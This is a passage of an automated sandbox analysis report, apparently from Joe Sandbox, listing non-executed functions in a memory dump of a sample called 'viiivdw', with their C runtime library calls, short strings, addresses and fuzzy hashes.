Part of subcall function 0040AD70: ___crtGetEnvironmentStringsW.LIBCMTD ref: 0040AE52
Part of subcall function 0040AD70: ___wsetargv.LIBCMTD ref: 0040AE5C
Part of subcall function 0040AD70: __wsetenvp.LIBCMTD ref: 0040AE6F
Part of subcall function 0040AD70: __cinit.LIBCMTD ref: 0040AE84
Part of subcall function 0040AD70: __wwincmdln.LIBCMTD ref: 0040AEA1

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: _fast_error_exit$EnvironmentInitializeStrings___crt___security_init_cookie___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3809881541-0
Opcode ID: 46dd35086e576636f68321a5a2d894e03e8e5a9a95b5350717c8027206e118a3
Instruction ID: 7132b868953286af8f37f4d811810dec1554c00709e8fe44877464652cf20773
Opcode Fuzzy Hash: 46dd35086e576636f68321a5a2d894e03e8e5a9a95b5350717c8027206e118a3
Instruction Fuzzy Hash: 39A00232044B4C66455433E7241BD5FB64E4DC0F6DBD9016FB92C669932CAEACE140AF

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0041C37E Relevance: 51.2, APIs: 25, Strings: 4, Instructions: 431COMMON

Download Yara Rule

APIs

__invoke_watson_if_error.LIBCMTD ref: 0041C3C2
_wcscat_s.LIBCMTD ref: 0041C5DA

Part of subcall function 00421560: __invalid_parameter.LIBCMTD ref: 004215D2

__invoke_watson_if_error.LIBCMTD ref: 0041C5E3

Part of subcall function 0040DA70: __invoke_watson.LIBCMTD ref: 0040DA91

_wcscat_s.LIBCMTD ref: 0041C612

Part of subcall function 00421560: _memset.LIBCMT ref: 0042163B
Part of subcall function 00421560: __invalid_parameter.LIBCMTD ref: 00421697

__invoke_watson_if_error.LIBCMTD ref: 0041C61B
__snwprintf_s.LIBCMTD ref: 0041C674

Part of subcall function 0041BCD0: __vsnprintf_s_l.LIBCMTD ref: 0041BCF2

__invoke_watson_if_oneof.LIBCMTD ref: 0041C6AD
_wcscpy_s.LIBCMTD ref: 0041C6F2
__invoke_watson_if_error.LIBCMTD ref: 0041C6FB
__cftoe.LIBCMTD ref: 0041C76F
__invoke_watson_if_oneof.LIBCMTD ref: 0041C79E
_wcscpy_s.LIBCMTD ref: 0041C7D6
__invoke_watson_if_error.LIBCMTD ref: 0041C7DF
__itow_s.LIBCMTD ref: 0041C3B9

Part of subcall function 00425E30: _xtow_s@20.LIBCMTD ref: 00425E5B

__strftime_l.LIBCMTD ref: 0041C479
__invoke_watson_if_oneof.LIBCMTD ref: 0041C4B2
_wcscpy_s.LIBCMTD ref: 0041C4F7
__invoke_watson_if_error.LIBCMTD ref: 0041C500
_wcscpy_s.LIBCMTD ref: 0041C553
__invoke_watson_if_error.LIBCMTD ref: 0041C55C
_wcscat_s.LIBCMTD ref: 0041C58D
__invoke_watson_if_error.LIBCMTD ref: 0041C596

Strings

t9j, xrefs: 0041CA05
t8j, xrefs: 0041C7AD
h8Z@, xrefs: 0041C575
D[@, xrefs: 0041C540, 0041C546

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: __invoke_watson_if_error$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$__cftoe__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnprintf_s_l_memset_xtow_s@20
String ID: D[@$h8Z@$t8j$t9j
API String ID: 2582952045-961499134
Opcode ID: 375f059d29a9e69a38695ebe68f807c71d44c1043d2ef82360e5877e8da2c8f1
Instruction ID: 71c25d25a12874fcc37c96a8d3993d28b7f77834bbcfebeaf0ff6d13a3a186ae
Opcode Fuzzy Hash: 375f059d29a9e69a38695ebe68f807c71d44c1043d2ef82360e5877e8da2c8f1
Instruction Fuzzy Hash: 5E0292B4E80718ABDB24DB50DC8ABDF7774AB04745F5040AAF6087A2C1D7B85AC4CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004162D7 Relevance: 35.4, APIs: 19, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 0041631C
_isdigit.LIBCMTD ref: 00416342
___check_float_string.LIBCMTD ref: 004163A2
__inc.LIBCMTD ref: 004163C0
_isdigit.LIBCMTD ref: 00416472
___check_float_string.LIBCMTD ref: 004164D2
___check_float_string.LIBCMTD ref: 00416459

Part of subcall function 00416A30: __nh_malloc_dbg.LIBCMTD ref: 00416A8D

__inc.LIBCMTD ref: 0041641D

Part of subcall function 00416B90: __filbuf.LIBCMTD ref: 00416BD1

___check_float_string.LIBCMTD ref: 00416566
__inc.LIBCMTD ref: 00416584
___check_float_string.LIBCMTD ref: 004165C7
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416936

Strings

+, xrefs: 004165DC

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: ___check_float_string$__inc$Locale_isdigit$UpdateUpdate::~___filbuf__nh_malloc_dbg
String ID: +
API String ID: 1483831053-2126386893
Opcode ID: cfe7e7b0a39ed1136eed38c03533236d4567fa0690a0bb4b4d6c6f14ef740961
Instruction ID: 809c1caa45286ba3b7bade6f092d8ca83d6c0dc0d804a95702d802cb9b42c5f9
Opcode Fuzzy Hash: cfe7e7b0a39ed1136eed38c03533236d4567fa0690a0bb4b4d6c6f14ef740961
Instruction Fuzzy Hash: C9F151B5D002199BCF14DFA9C890AEEB775BF44308F1485AED81AA7342D739EA80CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00415D7F Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 387COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 00415DD1
__inc.LIBCMTD ref: 00415DF9
__inc.LIBCMTD ref: 00415E2C
__un_inc.LIBCMTD ref: 00415EB3
_isxdigit.LIBCMTD ref: 00415F4D
__hextodec.LIBCMTD ref: 00415F80

Strings

F, xrefs: 0041624B
8, xrefs: 00416165

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: __inc$__hextodec__un_inc_isxdigit
String ID: 8$F
API String ID: 3652663768-3144575033
Opcode ID: fd987acc6c666c956d54ca10cb05604e167a973018529154d10a44252a42bdbf
Instruction ID: b7194c7f379e220c82ba2db17ec16c4085fdc6bef1664d9e5679748385c0d50d
Opcode Fuzzy Hash: fd987acc6c666c956d54ca10cb05604e167a973018529154d10a44252a42bdbf
Instruction Fuzzy Hash: 5B026BB0D05269DBCF24CF65C8947EEBBB1AF55308F2481DAD8196B342D2399AC1CF49

Uniqueness

Uniqueness Score: -1.00%

Function 004244E9 Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00424578
_get_int64_arg.LIBCMTD ref: 004245A0
__aullrem.LIBCMT ref: 00424745
__aulldiv.LIBCMT ref: 00424767
_write_multi_char.LIBCMTD ref: 0042486E
_write_string.LIBCMTD ref: 00424889
_write_multi_char.LIBCMTD ref: 004248B5
_wctomb_s.LIBCMTD ref: 00424932

Strings

9, xrefs: 00424778
-, xrefs: 0042480E

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: -$9
API String ID: 3451365851-1631151375
Opcode ID: 1089e4d7dd6b9b0294ccc4d0f6270769c35b4d0782c3179a2116516f3c0c42e0
Instruction ID: d639139e592a618ff39e80688e6734c5ceed9c68983cffea7e3421bb354d43cc
Opcode Fuzzy Hash: 1089e4d7dd6b9b0294ccc4d0f6270769c35b4d0782c3179a2116516f3c0c42e0
Instruction Fuzzy Hash: D0F138B1E052299FDB24CF58DC89BAEB7B1FB84304F5481DAD019A7241D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0042CF6B Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D000
_get_int64_arg.LIBCMTD ref: 0042D028
__aullrem.LIBCMT ref: 0042D1D0
__aulldiv.LIBCMT ref: 0042D1F2
_write_multi_char.LIBCMTD ref: 0042D30B
_write_string.LIBCMTD ref: 0042D326
_write_multi_char.LIBCMTD ref: 0042D352
__mbtowc_l.LIBCMTD ref: 0042D3C1

Strings

9, xrefs: 0042D203

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: 9
API String ID: 3455034128-2366072709
Opcode ID: e1dbd7a2ee1ffe5372e093ef0ac7b8b4923d3eb4d440611b2169f0b0d287a497
Instruction ID: d72ee7f9d4145fd5335f9405a89968f3991b617a5c57101b93e0546751d5dd01
Opcode Fuzzy Hash: e1dbd7a2ee1ffe5372e093ef0ac7b8b4923d3eb4d440611b2169f0b0d287a497
Instruction Fuzzy Hash: 69F14BB1E002299FDB24CF54DC81BAEB7B1BF85304F54419AE509A7241D738AE85CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 004262A3 Relevance: 25.8, APIs: 17, Instructions: 296COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004262EB
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00426321
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00426342
wcsncnt.LIBCMTD ref: 00426379
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004263DF
_wcslen.LIBCMTD ref: 004265EF
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004265FD

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_wcslenwcsncnt
String ID:
API String ID: 1043867012-0
Opcode ID: 38b9c36913f6a637c9db428f0d765fa5dd126ddc588ab785e19c7fe825147f66
Instruction ID: fba23def9addac4c699dbbf2c9b5b95a7c598c905de70eb819ef04111d9e5674
Opcode Fuzzy Hash: 38b9c36913f6a637c9db428f0d765fa5dd126ddc588ab785e19c7fe825147f66
Instruction Fuzzy Hash: E5D11971A00218EFCB08DF94D994BEEB771FF44304F61815AE4266B290E738AE45CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00424247 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0042424B
__get_printf_count_output.LIBCMTD ref: 00424259
__invalid_parameter.LIBCMTD ref: 004242E0
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004242F5
_write_multi_char.LIBCMTD ref: 0042486E
_write_string.LIBCMTD ref: 00424889
_write_multi_char.LIBCMTD ref: 004248B5
_wctomb_s.LIBCMTD ref: 00424932

Strings

-, xrefs: 0042480E

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: -
API String ID: 2357813345-2547889144
Opcode ID: 22f7bf77a5185453980dc0181bcba23d5cd02176fdada5518b895fd141b39b8f
Instruction ID: 62a432f7209f8c76bba96f11fe2b22b3922c9ee6857e3092afed569429697c96
Opcode Fuzzy Hash: 22f7bf77a5185453980dc0181bcba23d5cd02176fdada5518b895fd141b39b8f
Instruction Fuzzy Hash: AAA17EB1E002289BDB24DF59DC49BEEB7B0EB84304F5481DAE4197A281D7789EC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00424095 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00424099
_strlen.LIBCMT ref: 004240C9
_write_multi_char.LIBCMTD ref: 0042486E
_write_string.LIBCMTD ref: 00424889
_write_multi_char.LIBCMTD ref: 004248B5
_wctomb_s.LIBCMTD ref: 00424932

Strings

-, xrefs: 0042480E
H@, xrefs: 004240BC

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: -$H@
API String ID: 2232461714-3277072158
Opcode ID: 3b27cd3c70fd3cc913682bcc9301af4f7dc24b70a3ea2e83d0a0d9472fc5e4ed
Instruction ID: d3fdff780bab9552c5bbad128ee216e954f39bc74aeaf13d33f3bbbfd6759d06
Opcode Fuzzy Hash: 3b27cd3c70fd3cc913682bcc9301af4f7dc24b70a3ea2e83d0a0d9472fc5e4ed
Instruction Fuzzy Hash: 57A18DB5E012289BDB24DF58DC49BEEB7B0EB84305F5481DAD0096B281D7789EC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00415A0C Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 256COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00415A54
__un_inc.LIBCMTD ref: 00415BA8
__inc.LIBCMTD ref: 00415BDA
__inc.LIBCMTD ref: 00415C99
__mbtowc_l.LIBCMTD ref: 00415CDB
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416936

Strings

{, xrefs: 00415B82
], xrefs: 00415A6D
, xrefs: 00415C13
{, xrefs: 00415C1C

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: Locale__inc$UpdateUpdate::~___mbtowc_l__un_inc_memset
String ID: $]${${
API String ID: 2643002128-1336171634
Opcode ID: 7bc1d3f72b97b9c139b63de21a0d97393932a959649b91a5c279b282a7c8f52e
Instruction ID: 5db531b267afc79fa4ecc560483b52146c78928f4778816fc6cd1a5ea639018b
Opcode Fuzzy Hash: 7bc1d3f72b97b9c139b63de21a0d97393932a959649b91a5c279b282a7c8f52e
Instruction Fuzzy Hash: CBB1D670D09798CBCF25CBA9D4A06EDFBB1AF46305F14C19BE8696B342C2385A84CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0042CAF4 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0042CAF8
_strlen.LIBCMT ref: 0042CB28
_write_multi_char.LIBCMTD ref: 0042D30B
_write_string.LIBCMTD ref: 0042D326
_write_multi_char.LIBCMTD ref: 0042D352
__mbtowc_l.LIBCMTD ref: 0042D3C1

Strings

H@, xrefs: 0042CB1B

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: H@
API String ID: 909868375-2857177089
Opcode ID: 17c0dc72b9b16696565d3a3b039801c8e9ec555443d7e29f07e174021d1c882a
Instruction ID: efebcbe0fb91ef9897ad02765deb8a7cc7eef7fbd5ba21e01a77b81b580d429e
Opcode Fuzzy Hash: 17c0dc72b9b16696565d3a3b039801c8e9ec555443d7e29f07e174021d1c882a
Instruction Fuzzy Hash: DCA170B1E00228DFDB24DF54DC85BAEB7B5BB44304F54819AE50967281D738AE84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0042CCCA Relevance: 16.7, APIs: 11, Instructions: 238COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0042CCCE
__get_printf_count_output.LIBCMTD ref: 0042CCDC
__invalid_parameter.LIBCMTD ref: 0042CD63
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042CD78
_write_multi_char.LIBCMTD ref: 0042D30B
_write_string.LIBCMTD ref: 0042D326
_write_multi_char.LIBCMTD ref: 0042D352
__mbtowc_l.LIBCMTD ref: 0042D3C1

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID:
API String ID: 2386203720-0
Opcode ID: fed3c289392dc0784cef5811bbcabe07ffa1fda064f23b20c699a1d618b7c4c2
Instruction ID: 97a7bd558ed4af456dfc3f18a6ae4417f286aee5f099ba5043ce36dde262162d
Opcode Fuzzy Hash: fed3c289392dc0784cef5811bbcabe07ffa1fda064f23b20c699a1d618b7c4c2
Instruction Fuzzy Hash: ACA193B0E002299BDF24DF54DC85BAEB374AF84304F54419AE6097B282D778AE84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 004159BA Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 205COMMON

Download Yara Rule

APIs

__un_inc.LIBCMTD ref: 00415BA8
__inc.LIBCMTD ref: 00415BDA
__inc.LIBCMTD ref: 00415C99
__mbtowc_l.LIBCMTD ref: 00415CDB

Strings

c, xrefs: 00415D55
, xrefs: 00415C13

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: __inc$__mbtowc_l__un_inc
String ID: $c
API String ID: 579247601-3797896886
Opcode ID: 90bd799570855e3aa21445cc3b4d03cc1d081385ba4c874af3f5feb736eddb03
Instruction ID: e65b4091b4241910fb0f8d602ed1c752812cd985556a7ff4f28f725e46536d2d
Opcode Fuzzy Hash: 90bd799570855e3aa21445cc3b4d03cc1d081385ba4c874af3f5feb736eddb03
Instruction Fuzzy Hash: 4B91AF70D05658DBCF24CF95D8946EEBB71AF85308F24819AD8296B342D7389AC1CF49

Uniqueness

Uniqueness Score: -1.00%

Function 004198A7 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 100windowCOMMON

Download Yara Rule

APIs

__snwprintf_s.LIBCMTD ref: 0041994B
__invoke_watson_if_oneof.LIBCMTD ref: 0041997E
_wcscpy_s.LIBCMTD ref: 004199C0
__invoke_watson_if_error.LIBCMTD ref: 004199C9
___crtMessageBoxW.LIBCMTD ref: 004199E2
_raise.LIBCMTD ref: 004199FB

Strings

^8@, xrefs: 004198CF
`C@, xrefs: 00419918, 0041991E

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof__snwprintf_s_raise_wcscpy_s
String ID: ^8@$`C@
API String ID: 1485069716-2488483330
Opcode ID: e4b69c0abc8d4421afd5244a6397d2cbca99b8fa3055fd490e8305ee3657c7c5
Instruction ID: 74e01caeef5cfa812bcc40225c34d6e47e3adb3669586b3f582c9f611a1e5bd6
Opcode Fuzzy Hash: e4b69c0abc8d4421afd5244a6397d2cbca99b8fa3055fd490e8305ee3657c7c5
Instruction Fuzzy Hash: 4B3189B5E40218BBDB24DB95DC56FDA73B46B48744F0041AEF308762C1D6B85AC48F99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C0C5 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0040C0D9
__CrtIsValidHeapPointer.LIBCMTD ref: 0040C165
_CheckBytes.LIBCMTD ref: 0040C210
_CheckBytes.LIBCMTD ref: 0040C2CA
_memset.LIBCMT ref: 0040C3C1
__free_base.LIBCMTD ref: 0040C3CD

Strings

tDj, xrefs: 0040C11B

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: BytesCheck$HeapPointerValid__free_base_memset
String ID: tDj
API String ID: 25084783-2513116121
Opcode ID: cca93d25df918e50f0c18dd8109196f4df33bb0cff69fbdc990a9254475e789c
Instruction ID: 767f7dc9f55bef39bdf16322993d9f8875244f03bb7db17f5a03444ea6763181
Opcode Fuzzy Hash: cca93d25df918e50f0c18dd8109196f4df33bb0cff69fbdc990a9254475e789c
Instruction Fuzzy Hash: 0D91B374A40204FBDB14DB94DD82F6A7366AB48704F304269F6047B2C2D279EE41DB9D

Uniqueness

Uniqueness Score: -1.00%

Function 004159F4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 108COMMON

Download Yara Rule

APIs

__un_inc.LIBCMTD ref: 00415BA8
__inc.LIBCMTD ref: 00415BDA
__inc.LIBCMTD ref: 00415C99
__mbtowc_l.LIBCMTD ref: 00415CDB

Strings

, xrefs: 00415C13
{, xrefs: 00415C1C

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: __inc$__mbtowc_l__un_inc
String ID: ${
API String ID: 579247601-4046706400
Opcode ID: a436b9745394fe2c3a1c98c1b9a51f6c5deae27a9124e6303f107c19afc87f20
Instruction ID: 835731fba1ee7f1e4781046d92827668d8a903a2b04a6b81f3a74ef6efd9ae56
Opcode Fuzzy Hash: a436b9745394fe2c3a1c98c1b9a51f6c5deae27a9124e6303f107c19afc87f20
Instruction Fuzzy Hash: 0841E2B0D05758DBCF24DF95D8846EEB771AF84304F14C1AAE429A7202E7389AC4CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00424517 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00424578
__aullrem.LIBCMT ref: 00424745
__aulldiv.LIBCMT ref: 00424767

Strings

9, xrefs: 00424778
', xrefs: 00424517
0, xrefs: 00424533

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 789b410b68b075bf43f8226d1b237c3ace9b706c16d34f352990d00748a335ad
Instruction ID: 39150f6c6ba8ae32fa7d225a07ad420b30ab4eb1697cf584c4365cb5770a4bd1
Opcode Fuzzy Hash: 789b410b68b075bf43f8226d1b237c3ace9b706c16d34f352990d00748a335ad
Instruction Fuzzy Hash: C441F471E06229DFDB24CF98D889BAEB7B5FB85304F6081DAD059A7240C7389E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00417AF8 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00417B59
__aullrem.LIBCMT ref: 00417D26
__aulldiv.LIBCMT ref: 00417D48

Strings

0, xrefs: 00417B14
9, xrefs: 00417D59
', xrefs: 00417AF8

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 35c7d0100294ab9e7f7dc34d5c290a00823b75f6699cb22458e32d9e0df03683
Instruction ID: b75816621c1a2d510eafe0faee9bd911d24fed923603ebc09682b34a1e404830
Opcode Fuzzy Hash: 35c7d0100294ab9e7f7dc34d5c290a00823b75f6699cb22458e32d9e0df03683
Instruction Fuzzy Hash: 0D41F271E082299FDB64DF48C989BEEB7B5BB84304F1045DAE009AB341D7389AC0DF85

Uniqueness

Uniqueness Score: -1.00%

Function 00415D9A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 00415DF9
__inc.LIBCMTD ref: 00415E2C
_isxdigit.LIBCMTD ref: 00415F4D
__hextodec.LIBCMTD ref: 00415F80
_isdigit.LIBCMTD ref: 00415FA6
__inc.LIBCMTD ref: 00416090
__un_inc.LIBCMTD ref: 004160B4

Strings

p, xrefs: 00415F3F
0, xrefs: 00415DDF

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: __inc$__hextodec__un_inc_isdigit_isxdigit
String ID: 0$p
API String ID: 500523077-2059906072
Opcode ID: 903fc1732da81664b49c4e73a9df659ff880633d693b7e1a4c11adf60d8077b0
Instruction ID: a5726f8a305fafeecd18f0e29c2d59a18f91a25a99e4c9fffa3c35044cebbbcc
Opcode Fuzzy Hash: 903fc1732da81664b49c4e73a9df659ff880633d693b7e1a4c11adf60d8077b0
Instruction Fuzzy Hash: 61413BB4D04669CECF25CF65C8943EEBBB5AF44308F2481EBD41966242D2399AC6CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00424504 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00424578
__aullrem.LIBCMT ref: 00424745
__aulldiv.LIBCMT ref: 00424767

Strings

9, xrefs: 00424778
0, xrefs: 00424533

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: dbf4628c626bbc246e07c9b06054f2cdf4cb56be0aea206cd8c2af5f349a4e6d
Instruction ID: a531ba6d5cb3abb8aacad7a045475d7aca2d7b9d682522c744214eeba4855b21
Opcode Fuzzy Hash: dbf4628c626bbc246e07c9b06054f2cdf4cb56be0aea206cd8c2af5f349a4e6d
Instruction Fuzzy Hash: E3410571E05228DFDB24CF88E889BAEB7B5FB85304F6081DAD049A7240C7389E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00417AE5 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00417B59
__aullrem.LIBCMT ref: 00417D26
__aulldiv.LIBCMT ref: 00417D48

Strings

0, xrefs: 00417B14
9, xrefs: 00417D59

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: a1f8f85ef62d226b9ffd89cff7405feb79356483e1fb6527d7b8dfd9b3fc2ab1
Instruction ID: 665b6debfd074ab089eeaeaee1c37d08e30414197170078063f679a3cd87878a
Opcode Fuzzy Hash: a1f8f85ef62d226b9ffd89cff7405feb79356483e1fb6527d7b8dfd9b3fc2ab1
Instruction Fuzzy Hash: 89410571E082299FDB60DF48C989BEEB7B5BB44304F1041DAD049A7341D7389AC0DF85

Uniqueness

Uniqueness Score: -1.00%

Function 0042CF99 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D000
__aullrem.LIBCMT ref: 0042D1D0
__aulldiv.LIBCMT ref: 0042D1F2

Strings

', xrefs: 0042CF99
9, xrefs: 0042D203

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
